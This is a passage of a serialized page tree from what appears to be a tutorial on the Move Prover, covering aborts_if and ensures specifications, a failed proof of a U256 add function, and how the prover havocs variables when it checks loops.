aborts_if",{"type":23,"tag":314,"props":9152,"children":9153},{"style":332},[9154],{"type":28,"value":8952},{"type":23,"tag":314,"props":9156,"children":9157},{"style":338},[9158],{"type":28,"value":341},{"type":23,"tag":314,"props":9160,"children":9161},{"style":360},[9162],{"type":28,"value":31},{"type":23,"tag":314,"props":9164,"children":9165},{"style":338},[9166],{"type":28,"value":2343},{"type":23,"tag":314,"props":9168,"children":9169},{"style":354},[9170],{"type":28,"value":1130},{"type":23,"tag":314,"props":9172,"children":9173},{"style":332},[9174],{"type":28,"value":8952},{"type":23,"tag":314,"props":9176,"children":9177},{"style":338},[9178],{"type":28,"value":341},{"type":23,"tag":314,"props":9180,"children":9181},{"style":360},[9182],{"type":28,"value":2477},{"type":23,"tag":314,"props":9184,"children":9185},{"style":338},[9186],{"type":28,"value":2343},{"type":23,"tag":314,"props":9188,"children":9189},{"style":354},[9190],{"type":28,"value":9191},">=",{"type":23,"tag":314,"props":9193,"children":9194},{"style":2674},[9195],{"type":28,"value":8908},{"type":23,"tag":314,"props":9197,"children":9198},{"style":354},[9199],{"type":28,"value":357},{"type":23,"tag":314,"props":9201,"children":9202},{"style":2674},[9203],{"type":28,"value":8908},{"type":23,"tag":314,"props":9205,"children":9206},{"style":354},[9207],{"type":28,"value":357},{"type":23,"tag":314,"props":9209,"children":9210},{"style":2674},[9211],{"type":28,"value":8908},{"type":23,"tag":314,"props":9213,"children":9214},{"style":354},[9215],{"type":28,"value":357},{"type":23,"tag":314,"props":9217,"children":9218},{"style":2674},[9219],{"type":28,"value":8908},{"type":23,"tag":314,"props":9221,"children":9222},{"style":338},[9223],{"type":28,"value":2278},{"type":23,"tag":314,"props":9225,"children":9226},{"class":316,"line":1387},[9227],{"type":23,"tag":314,"props":9228,"children":9229},{"style":338},[9230],{"type":28,"value":386},{"type":23,"tag":24,"props":9232,"children":9233},{},[9234,9236,9243],{"type":28,"value":9235},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":31,"props":9237,"children":9240},{"href":9238,"rel":9239},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[35],[9241],{"type":28,"value":9242},"MSL function",{"type":28,"value":9244},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":24,"props":9246,"children":9247},{},[9248,9250,9255,9256,9261],{"type":28,"value":9249},"A common pattern for ",{"type":23,"tag":94,"props":9251,"children":9253},{"className":9252},[],[9254],{"type":28,"value":7578},{"type":28,"value":4756},{"type":23,"tag":94,"props":9257,"children":9259},{"className":9258},[],[9260],{"type":28,"value":7586},{"type":28,"value":9262},", which lets you prove that a function will never abort.",{"type":23,"tag":304,"props":9264,"children":9266},{"code":9265,"language":2233,"meta":7,"className":2234,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[9267],{"type":23,"tag":94,"props":9268,"children":9269},{"__ignoreMap":7},[9270,9286,9301],{"type":23,"tag":314,"props":9271,"children":9272},{"class":316,"line":317},[9273,9277,9282],{"type":23,"tag":314,"props":9274,"children":9275},{"style":360},[9276],{"type":28,"value":7529},{"type":23,"tag":314,"props":9278,"children":9279},{"style":360},[9280],{"type":28,"value":9281}," critical_function",{"type":23,"tag":314,"props":9283,"children":9284},{"style":338},[9285],{"type":28,"value":1449},{"type":23,"tag":314,"props":9287,"children":9288},{"class":316,"line":370},[9289,9293,9297],{"type":23,"tag":314,"props":9290,"children":9291},{"style":360},[9292],{"type":28,"value":9150},{"type":23,"tag":314,"props":9294,"children":9295},{"style":321},[9296],{"type":28,"value":8309},{"type":23,"tag":314,"props":9298,"children":9299},{"style":338},[9300],{"type":28,"value":2278},{"type":23,"tag":314,"props":9302,"children":9303},{"class":316,"line":380},[9304],{"type":23,"tag":314,"props":9305,"children":9306},{"style":338},[9307],{"type":28,"value":386},{"type":23,"tag":24,"props":9309,"children":9310},{},[9311,9313,9319],{"type":28,"value":9312},"Another type of expression that we can use is ",{"type":23,"tag":94,"props":9314,"children":9316},{"className":9315},[],[9317],{"type":28,"value":9318},"ensures",{"type":28,"value":9320},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":24,"props":9322,"children":9323},{},[9324,9326,9331,9333,9338],{"type":28,"value":9325},"In the case of the ",{"type":23,"tag":94,"props":9327,"children":9329},{"className":9328},[],[9330],{"type":28,"value":8887},{"type":28,"value":9332}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":721,"props":9334,"children":9335},{},[9336],{"type":28,"value":9337},"MSL uses unbounded numbers",{"type":28,"value":9339},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":304,"props":9341,"children":9343},{"code":9342,"language":2233,"meta":7,"className":2234,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[9344],{"type":23,"tag":94,"props":9345,"children":9346},{"__ignoreMap":7},[9347,9362,9441,9505],{"type":23,"tag":314,"props":9348,"children":9349},{"class":316,"line":317},[9350,9354,9358],{"type":23,"tag":314,"props":9351,"children":9352},{"style":360},[9353],{"type":28,"value":7529},{"type":23,"tag":314,"props":9355,"children":9356},{"style":360},[9357],{"type":28,"value":8831},{"type":23,"tag":314,"props":9359,"children":9360},{"style":338},[9361],{"type":28,"value":1449},{"type":23,"tag":314,"props":9363,"children":9364},{"class":316,"line":370},[9365,9369,9373,9377,9381,9385,9389,9393,9397,9401,9405,9409,9413,9417,9421,9425,9429,9433,9437],{"type":23,"tag":314,"props":9366,"children":9367},{"style":360},[9368],{"type":28,"value":9150},{"type":23,"tag":314,"props":9370,"children":9371},{"style":332},[9372],{"type":28,"value":8952},{"type":23,"tag":314,"props":9374,"children":9375},{"style":338},[9376],{"type":28,"value":341},{"type":23,"tag":314,"props":9378,"children":9379},{"style":360},[9380],{"type":28,"value":31},{"type":23,"tag":314,"props":9382,"children":9383},{"style":338},[9384],{"type":28,"value":2343},{"type":23,"tag":314,"props":9386,"children":9387},{"style":354},[9388],{"type":28,"value":1130},{"type":23,"tag":314,"props":9390,"children":9391},{"style":332},[9392],{"type":28,"value":8952},{"type":23,"tag":314,"props":9394,"children":9395},{"style":338},[9396],{"type":28,"value":341},{"type":23,"tag":314,"props":9398,"children":9399},{"style":360},[9400],{"type":28,"value":2477},{"type":23,"tag":314,"props":9402,"children":9403},{"style":338},[9404],{"type":28,"value":2343},{"type":23,"tag":314,"props":9406,"children":9407},{"style":354},[9408],{"type":28,"value":9191},{"type":23,"tag":314,"props":9410,"children":9411},{"style":2674},[9412],{"type":28,"value":8908},{"type":23,"tag":314,"props":9414,"children":9415},{"style":354},[9416],{"type":28,"value":357},{"type":23,"tag":314,"props":9418,"children":9419},{"style":2674},[9420],{"type":28,"value":8908},{"type":23,"tag":314,"props":9422,"children":9423},{"style":354},[9424],{"type":28,"value":357},{"type":23,"tag":314,"props":9426,"children":9427},{"style":2674},[9428],{"type":28,"value":8908},{"type":23,"tag":314,"props":9430,"children":9431},{"style":354},[9432],{"type":28,"value":357},{"type":23,"tag":314,"props":9434,"children":9435},{"style":2674},[9436],{"type":28,"value":8908},{"type":23,"tag":314,"props":9438,"children":9439},{"style":338},[9440],{"type":28,"value":2278},{"type":23,"tag":314,"props":9442,"children":9443},{"class":316,"line":380},[9444,9449,9453,9457,9461,9465,9469,9473,9477,9481,9485,9489,9493,9497,9501],{"type":23,"tag":314,"props":9445,"children":9446},{"style":360},[9447],{"type":28,"value":9448}," ensures",{"type":23,"tag":314,"props":9450,"children":9451},{"style":332},[9452],{"type":28,"value":8952},{"type":23,"tag":314,"props":9454,"children":9455},{"style":338},[9456],{"type":28,"value":341},{"type":23,"tag":314,"props":9458,"children":9459},{"style":360},[9460],{"type":28,"value":8333},{"type":23,"tag":314,"props":9462,"children":9463},{"style":338},[9464],{"type":28,"value":2343},{"type":23,"tag":314,"props":9466,"children":9467},{"style":354},[9468],{"type":28,"value":7828},{"type":23,"tag":314,"props":9470,"children":9471},{"style":332},[9472],{"type":28,"value":8952},{"type":23,"tag":314,"props":9474,"children":9475},{"style":338},[9476],{"type":28,"value":341},{"type":23,"tag":314,"props":9478,"children":9479},{"style":360},[9480],{"type":28,"value":31},{"type":23,"tag":314,"props":9482,"children":9483},{"style":338},[9484],{"type":28,"value":2343},{"type":23,"tag":314,"props":9486,"children":9487},{"style":354},[9488],{"type":28,"value":1130},{"type":23,"tag":314,"props":9490,"children":9491},{"style":332},[9492],{"type":28,"value":8952},{"type":23,"tag":314,"props":9494,"children":9495},{"style":338},[9496],{"type":28,"value":341},{"type":23,"tag":314,"props":9498,"children":9499},{"style":360},[9500],{"type":28,"value":2477},{"type":23,"tag":314,"props":9502,"children":9503},{"style":338},[9504],{"type":28,"value":1025},{"type":23,"tag":314,"props":9506,"children":9507},{"class":316,"line":1091},[9508],{"type":23,"tag":314,"props":9509,"children":9510},{"style":338},[9511],{"type":28,"value":386},{"type":23,"tag":24,"props":9513,"children":9514},{},[9515],{"type":28,"value":9516},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":24,"props":9518,"children":9519},{},[9520],{"type":28,"value":9521},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":304,"props":9523,"children":9525},{"code":9524,"language":3498,"meta":7,"className":3499,"style":7},"$ move prove\n",[9526],{"type":23,"tag":94,"props":9527,"children":9528},{"__ignoreMap":7},[9529],{"type":23,"tag":314,"props":9530,"children":9531},{"class":316,"line":317},[9532,9537,9542],{"type":23,"tag":314,"props":9533,"children":9534},{"style":332},[9535],{"type":28,"value":9536},"$",{"type":23,"tag":314,"props":9538,"children":9539},{"style":1245},[9540],{"type":28,"value":9541}," move",{"type":23,"tag":314,"props":9543,"children":9544},{"style":1245},[9545],{"type":28,"value":9546}," prove\n",{"type":23,"tag":24,"props":9548,"children":9549},{},[9550],{"type":28,"value":9551},"It outputs the following error information:",{"type":23,"tag":304,"props":9553,"children":9555},{"code":9554,"language":3498,"meta":7,"className":3499,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[9556],{"type":23,"tag":94,"props":9557,"children":9558},{"__ignoreMap":7},[9559,9567,9574,9636,9657,9747,9815,9827,9835,9842,9849,9856,9874,9935,9952,9969,10041,10057,10065,10072,10122,10130,10147],{"type":23,"tag":314,"props":9560,"children":9561},{"class":316,"line":317},[9562],{"type":23,"tag":314,"props":9563,"children":9564},{"style":338},[9565],{"type":28,"value":9566},"[...]\n",{"type":23,"tag":314,"props":9568,"children":9569},{"class":316,"line":370},[9570],{"type":23,"tag":314,"props":9571,"children":9572},{"emptyLinePlaceholder":18},[9573],{"type":28,"value":1088},{"type":23,"tag":314,"props":9575,"children":9576},{"class":316,"line":380},[9577,9582,9587,9592,9597,9602,9607,9612,9617,9622,9626,9631],{"type":23,"tag":314,"props":9578,"children":9579},{"style":332},[9580],{"type":28,"value":9581},"error:",{"type":23,"tag":314,"props":9583,"children":9584},{"style":1245},[9585],{"type":28,"value":9586}," abort",{"type":23,"tag":314,"props":9588,"children":9589},{"style":1245},[9590],{"type":28,"value":9591}," not",{"type":23,"tag":314,"props":9593,"children":9594},{"style":1245},[9595],{"type":28,"value":9596}," covered",{"type":23,"tag":314,"props":9598,"children":9599},{"style":1245},[9600],{"type":28,"value":9601}," by",{"type":23,"tag":314,"props":9603,"children":9604},{"style":1245},[9605],{"type":28,"value":9606}," any",{"type":23,"tag":314,"props":9608,"children":9609},{"style":1245},[9610],{"type":28,"value":9611}," of",{"type":23,"tag":314,"props":9613,"children":9614},{"style":1245},[9615],{"type":28,"value":9616}," the",{"type":23,"tag":314,"props":9618,"children":9619},{"style":1245},[9620],{"type":28,"value":9621}," `",{"type":23,"tag":314,"props":9623,"children":9624},{"style":332},[9625],{"type":28,"value":7578},{"type":23,"tag":314,"props":9627,"children":9628},{"style":1245},[9629],{"type":28,"value":9630},"`",{"type":23,"tag":314,"props":9632,"children":9633},{"style":332},[9634],{"type":28,"value":9635}," clauses\n",{"type":23,"tag":314,"props":9637,"children":9638},{"class":316,"line":1091},[9639,9644,9649,9653],{"type":23,"tag":314,"props":9640,"children":9641},{"style":332},[9642],{"type":28,"value":9643},"╭",{"type":23,"tag":314,"props":9645,"children":9646},{"style":1245},[9647],{"type":28,"value":9648}," spec",{"type":23,"tag":314,"props":9650,"children":9651},{"style":1245},[9652],{"type":28,"value":8831},{"type":23,"tag":314,"props":9654,"children":9655},{"style":1245},[9656],{"type":28,"value":1449},{"type":23,"tag":314,"props":9658,"children":9659},{"class":316,"line":1141},[9660,9665,9670,9674,9678,9682,9686,9690,9694,9698,9702,9706,9711,9715,9719,9723,9727,9731,9735,9739,9743],{"type":23,"tag":314,"props":9661,"children":9662},{"style":354},[9663],{"type":28,"value":9664},"|",{"type":23,"tag":314,"props":9666,"children":9667},{"style":332},[9668],{"type":28,"value":9669}," aborts_if",{"type":23,"tag":314,"props":9671,"children":9672},{"style":1245},[9673],{"type":28,"value":8952},{"type":23,"tag":314,"props":9675,"children":9676},{"style":338},[9677],{"type":28,"value":341},{"type":23,"tag":314,"props":9679,"children":9680},{"style":332},[9681],{"type":28,"value":31},{"type":23,"tag":314,"props":9683,"children":9684},{"style":338},[9685],{"type":28,"value":2343},{"type":23,"tag":314,"props":9687,"children":9688},{"style":1245},[9689],{"type":28,"value":1130},{"type":23,"tag":314,"props":9691,"children":9692},{"style":1245},[9693],{"type":28,"value":8952},{"type":23,"tag":314,"props":9695,"children":9696},{"style":338},[9697],{"type":28,"value":341},{"type":23,"tag":314,"props":9699,"children":9700},{"style":332},[9701],{"type":28,"value":2477},{"type":23,"tag":314,"props":9703,"children":9704},{"style":338},[9705],{"type":28,"value":2343},{"type":23,"tag":314,"props":9707,"children":9708},{"style":354},[9709],{"type":28,"value":9710},">",{"type":23,"tag":314,"props":9712,"children":9713},{"style":1245},[9714],{"type":28,"value":1102},{"type":23,"tag":314,"props":9716,"children":9717},{"style":1245},[9718],{"type":28,"value":8908},{"type":23,"tag":314,"props":9720,"children":9721},{"style":321},[9722],{"type":28,"value":357},{"type":23,"tag":314,"props":9724,"children":9725},{"style":1245},[9726],{"type":28,"value":8908},{"type":23,"tag":314,"props":9728,"children":9729},{"style":321},[9730],{"type":28,"value":357},{"type":23,"tag":314,"props":9732,"children":9733},{"style":1245},[9734],{"type":28,"value":8908},{"type":23,"tag":314,"props":9736,"children":9737},{"style":321},[9738],{"type":28,"value":357},{"type":23,"tag":314,"props":9740,"children":9741},{"style":1245},[9742],{"type":28,"value":8908},{"type":23,"tag":314,"props":9744,"children":9745},{"style":338},[9746],{"type":28,"value":2278},{"type":23,"tag":314,"props":9748,"children":9749},{"class":316,"line":1173},[9750,9754,9759,9763,9767,9771,9775,9779,9783,9787,9791,9795,9799,9803,9807,9811],{"type":23,"tag":314,"props":9751,"children":9752},{"style":354},[9753],{"type":28,"value":9664},{"type":23,"tag":314,"props":9755,"children":9756},{"style":332},[9757],{"type":28,"value":9758}," ensures",{"type":23,"tag":314,"props":9760,"children":9761},{"style":1245},[9762],{"type":28,"value":8952},{"type":23,"tag":314,"props":9764,"children":9765},{"style":338},[9766],{"type":28,"value":341},{"type":23,"tag":314,"props":9768,"children":9769},{"style":332},[9770],{"type":28,"value":8333},{"type":23,"tag":314,"props":9772,"children":9773},{"style":338},[9774],{"type":28,"value":2343},{"type":23,"tag":314,"props":9776,"children":9777},{"style":1245},[9778],{"type":28,"value":7828},{"type":23,"tag":314,"props":9780,"children":9781},{"style":1245},[9782],{"type":28,"value":8952},{"type":23,"tag":314,"props":9784,"children":9785},{"style":338},[9786],{"type":28,"value":341},{"type":23,"tag":314,"props":9788,"children":9789},{"style":332},[9790],{"type":28,"value":31},{"type":23,"tag":314,"props":9792,"children":9793},{"style":338},[9794],{"type":28,"value":2343},{"type":23,"tag":314,"props":9796,"children":9797},{"style":1245},[9798],{"type":28,"value":1130},{"type":23,"tag":314,"props":9800,"children":9801},{"style":1245},[9802],{"type":28,"value":8952},{"type":23,"tag":314,"props":9804,"children":9805},{"style":338},[9806],{"type":28,"value":341},{"type":23,"tag":314,"props":9808,"children":9809},{"style":332},[9810],{"type":28,"value":2477},{"type":23,"tag":314,"props":9812,"children":9813},{"style":338},[9814],{"type":28,"value":1025},{"type":23,"tag":314,"props":9816,"children":9817},{"class":316,"line":1208},[9818,9822],{"type":23,"tag":314,"props":9819,"children":9820},{"style":354},[9821],{"type":28,"value":9664},{"type":23,"tag":314,"props":9823,"children":9824},{"style":338},[9825],{"type":28,"value":9826}," }\n",{"type":23,"tag":314,"props":9828,"children":9829},{"class":316,"line":1216},[9830],{"type":23,"tag":314,"props":9831,"children":9832},{"style":332},[9833],{"type":28,"value":9834},"╰─────^\n",{"type":23,"tag":314,"props":9836,"children":9837},{"class":316,"line":1301},[9838],{"type":23,"tag":314,"props":9839,"children":9840},{"emptyLinePlaceholder":18},[9841],{"type":28,"value":1088},{"type":23,"tag":314,"props":9843,"children":9844},{"class":316,"line":1343},[9845],{"type":23,"tag":314,"props":9846,"children":9847},{"style":338},[9848],{"type":28,"value":9566},{"type":23,"tag":314,"props":9850,"children":9851},{"class":316,"line":1351},[9852],{"type":23,"tag":314,"props":9853,"children":9854},{"emptyLinePlaceholder":18},[9855],{"type":28,"value":1088},{"type":23,"tag":314,"props":9857,"children":9858},{"class":316,"line":1387},[9859,9864,9869],{"type":23,"tag":314,"props":9860,"children":9861},{"style":332},[9862],{"type":28,"value":9863}," at",{"type":23,"tag":314,"props":9865,"children":9866},{"style":1245},[9867],{"type":28,"value":9868}," ./sources/u256.move:316:",{"type":23,"tag":314,"props":9870,"children":9871},{"style":1245},[9872],{"type":28,"value":9873}," add\n",{"type":23,"tag":314,"props":9875,"children":9876},{"class":316,"line":1422},[9877,9882,9887,9892,9896,9901,9905,9910,9915,9920,9925,9930],{"type":23,"tag":314,"props":9878,"children":9879},{"style":332},[9880],{"type":28,"value":9881}," enter",{"type":23,"tag":314,"props":9883,"children":9884},{"style":1245},[9885],{"type":28,"value":9886}," loop,",{"type":23,"tag":314,"props":9888,"children":9889},{"style":1245},[9890],{"type":28,"value":9891}," variable",{"type":23,"tag":314,"props":9893,"children":9894},{"style":338},[9895],{"type":28,"value":341},{"type":23,"tag":314,"props":9897,"children":9898},{"style":332},[9899],{"type":28,"value":9900},"s",{"type":23,"tag":314,"props":9902,"children":9903},{"style":338},[9904],{"type":28,"value":2343},{"type":23,"tag":314,"props":9906,"children":9907},{"style":1245},[9908],{"type":28,"value":9909},"carry,",{"type":23,"tag":314,"props":9911,"children":9912},{"style":1245},[9913],{"type":28,"value":9914}," i,",{"type":23,"tag":314,"props":9916,"children":9917},{"style":1245},[9918],{"type":28,"value":9919}," ret",{"type":23,"tag":314,"props":9921,"children":9922},{"style":1245},[9923],{"type":28,"value":9924}," havocked",{"type":23,"tag":314,"props":9926,"children":9927},{"style":1245},[9928],{"type":28,"value":9929}," and",{"type":23,"tag":314,"props":9931,"children":9932},{"style":1245},[9933],{"type":28,"value":9934}," reassigned\n",{"type":23,"tag":314,"props":9936,"children":9937},{"class":316,"line":1430},[9938,9943,9947],{"type":23,"tag":314,"props":9939,"children":9940},{"style":332},[9941],{"type":28,"value":9942}," carry",{"type":23,"tag":314,"props":9944,"children":9945},{"style":1245},[9946],{"type":28,"value":1237},{"type":23,"tag":314,"props":9948,"children":9949},{"style":1054},[9950],{"type":28,"value":9951}," 54\n",{"type":23,"tag":314,"props":9953,"children":9954},{"class":316,"line":1452},[9955,9960,9964],{"type":23,"tag":314,"props":9956,"children":9957},{"style":332},[9958],{"type":28,"value":9959}," i",{"type":23,"tag":314,"props":9961,"children":9962},{"style":1245},[9963],{"type":28,"value":1237},{"type":23,"tag":314,"props":9965,"children":9966},{"style":1054},[9967],{"type":28,"value":9968}," 3792\n",{"type":23,"tag":314,"props":9970,"children":9971},{"class":316,"line":1497},[9972,9977,9981,9986,9990,9995,10000,10004,10009,10014,10018,10023,10028,10032,10037],{"type":23,"tag":314,"props":9973,"children":9974},{"style":332},[9975],{"type":28,"value":9976}," ret",{"type":23,"tag":314,"props":9978,"children":9979},{"style":1245},[9980],{"type":28,"value":1237},{"type":23,"tag":314,"props":9982,"children":9983},{"style":1245},[9984],{"type":28,"value":9985}," u256.U256{v0",{"type":23,"tag":314,"props":9987,"children":9988},{"style":1245},[9989],{"type":28,"value":1237},{"type":23,"tag":314,"props":9991,"children":9992},{"style":1245},[9993],{"type":28,"value":9994}," 26418,",{"type":23,"tag":314,"props":9996,"children":9997},{"style":1245},[9998],{"type":28,"value":9999}," v1",{"type":23,"tag":314,"props":10001,"children":10002},{"style":1245},[10003],{"type":28,"value":1237},{"type":23,"tag":314,"props":10005,"children":10006},{"style":1245},[10007],{"type":28,"value":10008}," 27938,",{"type":23,"tag":314,"props":10010,"children":10011},{"style":1245},[10012],{"type":28,"value":10013}," v2",{"type":23,"tag":314,"props":10015,"children":10016},{"style":1245},[10017],{"type":28,"value":1237},{"type":23,"tag":314,"props":10019,"children":10020},{"style":1245},[10021],{"type":28,"value":10022}," 6900,",{"type":23,"tag":314,"props":10024,"children":10025},{"style":1245},[10026],{"type":28,"value":10027}," v3",{"type":23,"tag":314,"props":10029,"children":10030},{"style":1245},[10031],{"type":28,"value":1237},{"type":23,"tag":314,"props":10033,"children":10034},{"style":1054},[10035],{"type":28,"value":10036}," 1999",{"type":23,"tag":314,"props":10038,"children":10039},{"style":1245},[10040],{"type":28,"value":386},{"type":23,"tag":314,"props":10042,"children":10043},{"class":316,"line":1539},[10044,10048,10053],{"type":23,"tag":314,"props":10045,"children":10046},{"style":332},[10047],{"type":28,"value":9863},{"type":23,"tag":314,"props":10049,"children":10050},{"style":1245},[10051],{"type":28,"value":10052}," ./sources/u256.move:346:",{"type":23,"tag":314,"props":10054,"children":10055},{"style":1245},[10056],{"type":28,"value":9873},{"type":23,"tag":314,"props":10058,"children":10059},{"class":316,"line":1548},[10060],{"type":23,"tag":314,"props":10061,"children":10062},{"style":332},[10063],{"type":28,"value":10064}," ABORTED\n",{"type":23,"tag":314,"props":10066,"children":10067},{"class":316,"line":1584},[10068],{"type":23,"tag":314,"props":10069,"children":10070},{"emptyLinePlaceholder":18},[10071],{"type":28,"value":1088},{"type":23,"tag":314,"props":10073,"children":10074},{"class":316,"line":1617},[10075,10080,10085,10089,10094,10099,10104,10108,10113,10117],{"type":23,"tag":314,"props":10076,"children":10077},{"style":332},[10078],{"type":28,"value":10079},"FAILURE",{"type":23,"tag":314,"props":10081,"children":10082},{"style":1245},[10083],{"type":28,"value":10084}," proving",{"type":23,"tag":314,"props":10086,"children":10087},{"style":1054},[10088],{"type":28,"value":3778},{"type":23,"tag":314,"props":10090,"children":10091},{"style":1245},[10092],{"type":28,"value":10093}," modules",{"type":23,"tag":314,"props":10095,"children":10096},{"style":1245},[10097],{"type":28,"value":10098}," from",{"type":23,"tag":314,"props":10100,"children":10101},{"style":1245},[10102],{"type":28,"value":10103}," package",{"type":23,"tag":314,"props":10105,"children":10106},{"style":1245},[10107],{"type":28,"value":9621},{"type":23,"tag":314,"props":10109,"children":10110},{"style":332},[10111],{"type":28,"value":10112},"u256",{"type":23,"tag":314,"props":10114,"children":10115},{"style":1245},[10116],{"type":28,"value":9630},{"type":23,"tag":314,"props":10118,"children":10119},{"style":338},[10120],{"type":28,"value":10121}," in 9.143s\n",{"type":23,"tag":314,"props":10123,"children":10124},{"class":316,"line":1625},[10125],{"type":23,"tag":314,"props":10126,"children":10127},{"style":338},[10128],{"type":28,"value":10129},"{\n",{"type":23,"tag":314,"props":10131,"children":10132},{"class":316,"line":1660},[10133,10138,10142],{"type":23,"tag":314,"props":10134,"children":10135},{"style":332},[10136],{"type":28,"value":10137}," \"Error\"",{"type":23,"tag":314,"props":10139,"children":10140},{"style":332},[10141],{"type":28,"value":3746},{"type":23,"tag":314,"props":10143,"children":10144},{"style":1245},[10145],{"type":28,"value":10146}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":314,"props":10148,"children":10149},{"class":316,"line":1708},[10150],{"type":23,"tag":314,"props":10151,"children":10152},{"style":338},[10153],{"type":28,"value":386},{"type":23,"tag":24,"props":10155,"children":10156},{},[10157,10159,10164],{"type":28,"value":10158},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":94,"props":10160,"children":10162},{"className":10161},[],[10163],{"type":28,"value":7578},{"type":28,"value":10165}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":24,"props":10167,"children":10168},{},[10169,10171,10177],{"type":28,"value":10170},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":94,"props":10172,"children":10174},{"className":10173},[],[10175],{"type":28,"value":10176},"ret havocked and reassigned",{"type":28,"value":282},{"type":23,"tag":24,"props":10179,"children":10180},{},[10181],{"type":28,"value":10182},"What does this mean?",{"type":23,"tag":24,"props":10184,"children":10185},{},[10186,10188,10195],{"type":28,"value":10187},"By diving into the Move Prover source, we find a ",{"type":23,"tag":31,"props":10189,"children":10192},{"href":10190,"rel":10191},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[35],[10193],{"type":28,"value":10194},"likely suspect",{"type":28,"value":10196},". The prover attempts to prove all loops with induction!",{"type":23,"tag":24,"props":10198,"children":10199},{},[10200],{"type":28,"value":10201},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":84,"props":10203,"children":10204},{},[10205,10210],{"type":23,"tag":88,"props":10206,"children":10207},{},[10208],{"type":28,"value":10209},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":88,"props":10211,"children":10212},{},[10213],{"type":28,"value":10214},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":24,"props":10216,"children":10217},{},[10218,10220,10225,10227,10233,10234,10240,10241,10246,10248,10253],{"type":28,"value":10219},"The loop prover will also ",{"type":23,"tag":721,"props":10221,"children":10222},{},[10223],{"type":28,"value":10224},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":10226},". Going back to the log message, this implies that the variables ",{"type":23,"tag":94,"props":10228,"children":10230},{"className":10229},[],[10231],{"type":28,"value":10232},"carry",{"type":28,"value":778},{"type":23,"tag":94,"props":10235,"children":10237},{"className":10236},[],[10238],{"type":28,"value":10239},"ret",{"type":28,"value":557},{"type":23,"tag":94,"props":10242,"children":10244},{"className":10243},[],[10245],{"type":28,"value":2993},{"type":28,"value":10247}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":94,"props":10249,"children":10251},{"className":10250},[],[10252],{"type":28,"value":8887},{"type":28,"value":10254}," makes no sense.",{"type":23,"tag":24,"props":10256,"children":10257},{},[10258],{"type":28,"value":10259},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":84,"props":10261,"children":10262},{},[10263,10268,10273,10278,10283,10288],{"type":23,"tag":88,"props":10264,"children":10265},{},[10266],{"type":28,"value":10267},"Assert the loop invariant",{"type":23,"tag":88,"props":10269,"children":10270},{},[10271],{"type":28,"value":10272},"Havoc all modified variables",{"type":23,"tag":88,"props":10274,"children":10275},{},[10276],{"type":28,"value":10277},"Assume the loop invariant",{"type":23,"tag":88,"props":10279,"children":10280},{},[10281],{"type":28,"value":10282},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":88,"props":10284,"children":10285},{},[10286],{"type":28,"value":10287},"Run the loop body",{"type":23,"tag":88,"props":10289,"children":10290},{},[10291],{"type":28,"value":10267},{"type":23,"tag":24,"props":10293,"children":10294},{},[10295],{"type":28,"value":10296},"There are two approaches to dealing with loops.",{"type":23,"tag":24,"props":10298,"children":10299},{},[10300],{"type":28,"value":10301},"The first would be to specify a loop invariant.",{"type":23,"tag":24,"props":10303,"children":10304},{},[10305,10307,10314],{"type":28,"value":10306},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":31,"props":10308,"children":10311},{"href":10309,"rel":10310},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[35],[10312],{"type":28,"value":10313},"previous post",{"type":28,"value":282},{"type":23,"tag":304,"props":10316,"children":10318},{"code":10317,"language":2233,"meta":7,"className":2234,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n 